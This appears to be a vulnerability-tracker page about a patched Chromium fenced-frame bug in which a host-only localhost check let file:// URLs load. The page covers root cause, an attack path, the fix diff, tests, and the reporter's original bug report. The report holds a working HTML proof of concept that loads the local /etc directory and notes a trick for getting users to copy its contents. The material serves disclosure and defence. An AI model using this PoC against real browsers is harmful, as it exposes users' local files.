Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Fenced Frames
DescriptionInappropriate implementation in Fenced Frames
ComponentFenced Frames
Sub-componentBlink>FencedFrames
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker368628042
Fix commit3505b1514330 (chromium/src) +48/-18
CWECWE-200 (Information exposure)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CISA KEVNot listed
Creditedsomeoneverycurious
Reported2024-09-21 · bounty $2000 (per vendor advisory)
Fix landed2024-10-15 (public git)
Disclosed2025-01-14
Patch gap91 days — fix public in source before the advisory

Background

Fenced frame
An isolated embedded frame in Blink that restricts communication with its embedder for privacy, and whose loadable URLs are constrained by a default-constructor allowlist.
`IsValidFencedFrameURL`
The blink common helper that decides whether a given GURL is permitted to load inside a fenced frame.
`net::IsLocalhost`
A net utility that returns true when a URL’s host resolves to localhost (e.g. localhost, 127.0.0.1, [::1]), independent of the URL’s scheme.
`GURL::SchemeIs`
A GURL method that checks whether the URL’s scheme equals a specified scheme constant such as url::kHttpScheme.

Root Cause Analysis

The allowlist in IsValidFencedFrameURL intended to permit only https://* URLs, about:blank, and http://localhost URLs. To cover the localhost case it called net::IsLocalhost(url), but that function only inspects the host component and never checks the scheme. As a result any URL whose host was localhost passed the check regardless of scheme, so a URL like file://localhost/path/to/file was treated as a valid fenced frame URL — violating the invariant that only http/https (and about:blank) schemes should ever be loadable.

The fix introduces an anonymous-namespace helper IsHttpLocalhost that requires both url.SchemeIs(url::kHttpScheme) and net::IsLocalhost(url), and substitutes it for the bare net::IsLocalhost call. The https://localhost case remains covered by the pre-existing url::kHttpsScheme branch, so tightening to the http scheme loses no legitimate functionality while closing the file:// bypass.

Key insight
The single mistake was using a host-only predicate (net::IsLocalhost) as a stand-in for a scheme-plus-host condition, letting non-http schemes slip through; the fix pairs the host check with an explicit SchemeIs(url::kHttpScheme) test via the new IsHttpLocalhost helper.

Attack Path

  1. Craft a localhost `file://` URL An attacker constructs a URL such as file://localhost/path/to/file whose host is literally localhost but whose scheme is file.
  2. Assign it to a fenced frame The page creates an HTMLFencedFrameElement and sets its config to that URL via FencedFrameConfig::Create.
  3. Bypass the scheme allowlist IsValidFencedFrameURL calls net::IsLocalhost, which returns true on host alone, so the file:// URL is accepted despite not being http/https/about:blank.
  4. Load local content in an isolated frame The fenced frame proceeds to navigate to the file:// resource, loading local-filesystem content in a context where the sandboxed/isolated fenced frame boundary was not designed to host it.

Impact Assessment

An attacker gains the ability to load file:// (and other non-http localhost-hosted) URLs inside a fenced frame in the renderer process, which the fenced frame threat model never intended to permit. The precondition is the ability to create or configure a fenced frame with an attacker-chosen URL string; the payoff is an inappropriate-implementation logic bypass that escapes the intended scheme allowlist, potentially exposing local resources within the privacy-isolated frame.

Changed Functions

FunctionChangeNotes
TEST_F
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
modified
for
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
modified

Files Changed

  • third_party/blink/common/fenced_frame/fenced_frame_utils.cc
  • third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
  • third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html

Audit Directions

  • Host-only predicates gating scheme-sensitive decisions
    Search for calls to net::IsLocalhost (and similar host/origin helpers) that are used to authorize loads or grant capabilities without an accompanying SchemeIs check.
  • Allowlist checks assuming implicit scheme
    Review URL validators like IsValidFencedFrameURL across features (portals, prerender, prefetch, service workers) where a “localhost is fine” rule may admit file://, blob:, or other unexpected schemes.
  • `file://` and `blob:` acceptance in isolated contexts
    Audit fenced frames, sandboxed iframes, and other privacy/isolation boundaries for code paths that fail to explicitly reject non-http/https schemes before navigation.
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001
From: Liam Brady <[email protected]>
Date: Tue, 15 Oct 2024 19:43:24 +0000
Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading.

Fenced frames are meant to be able to load the following URLs with a
default constructor:
- about:blank URLs
- https://* URLs
- http://localhost URLs

The `net::IsLocalhost()` check that is currently being used for the last
case is only checking that the URL starts with "localhost", not that
the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also
check that the scheme is HTTP. The "https://localhost/*" case will
still be covered by the "https://*" check.

Bug: 368628042
Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121
Reviewed-by: Shivani Sharma <[email protected]>
Commit-Queue: Liam Brady <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1368957}
---

diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
index 18c6d28..0ddbcdd 100644
--- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
+++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
@@ -14,13 +14,21 @@
 #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
 #include "url/gurl.h"
 
+namespace {
+
+bool IsHttpLocalhost(const GURL& url) {
+  return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url);
+}
+
+}  // namespace
+
 namespace blink {
 
 bool IsValidFencedFrameURL(const GURL& url) {
   if (!url.is_valid())
     return false;
   return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
-          net::IsLocalhost(url)) &&
+          IsHttpLocalhost(url)) &&
          !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
 }
 
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

FencedFrame allows loading local file directories in http(s?) context

Steps to reproduce the problem

  1. Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
  2. serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
  3. observe fencedframe displaying file:///etc folder

PoC (exploit.html)

<body>
  <script>
    (async function start() {
      var frame = document.body.appendChild(document.createElement("fencedframe"))
      frame.setAttribute("height", "600")
      frame.setAttribute("width", "600")
      // we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
      // frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)

      const blob = new Blob([``], { type: 'text/javascript' });
      const blobURL = URL.createObjectURL(blob);
      await window.sharedStorage.worklet.addModule(blobURL);
      var fencedFrameConfig = await window.sharedStorage.selectURL(
        'ab-testing',
        [
          { url: "file://localhost/etc" },
        ],
        {
          resolveToConfig: true
        }
      );
      frame.config = fencedFrameConfig;
    }());
  </script>
</body>

Problem Description

any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19

bool IsValidFencedFrameURL(const GURL& url) {
  if (!url.is_valid())
    return false;
  return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
          net::IsLocalhost(url)) && // <--------- does not check for protocol
         !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}

Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc

response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.

const bool should_enforce_fenced_frame_opt_in =
      response_should_be_rendered_ && response_head_->headers &&
      frame_tree_node_->IsInFencedFrameTree() &&
      !(url.IsAboutBlank() || url.SchemeIsBlob() ||
        url.SchemeIs(url::kDataScheme));
  if (should_enforce_fenced_frame_opt_in &&
      !IsOptedInFencedFrame(*response_head_->headers)) 

Version affects both stable and canary

Summary

FencedFrame allows loading local file directories in http(s?) context

Custom Questions

Reporter credit:

someoneverycurious

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A

View on issue tracker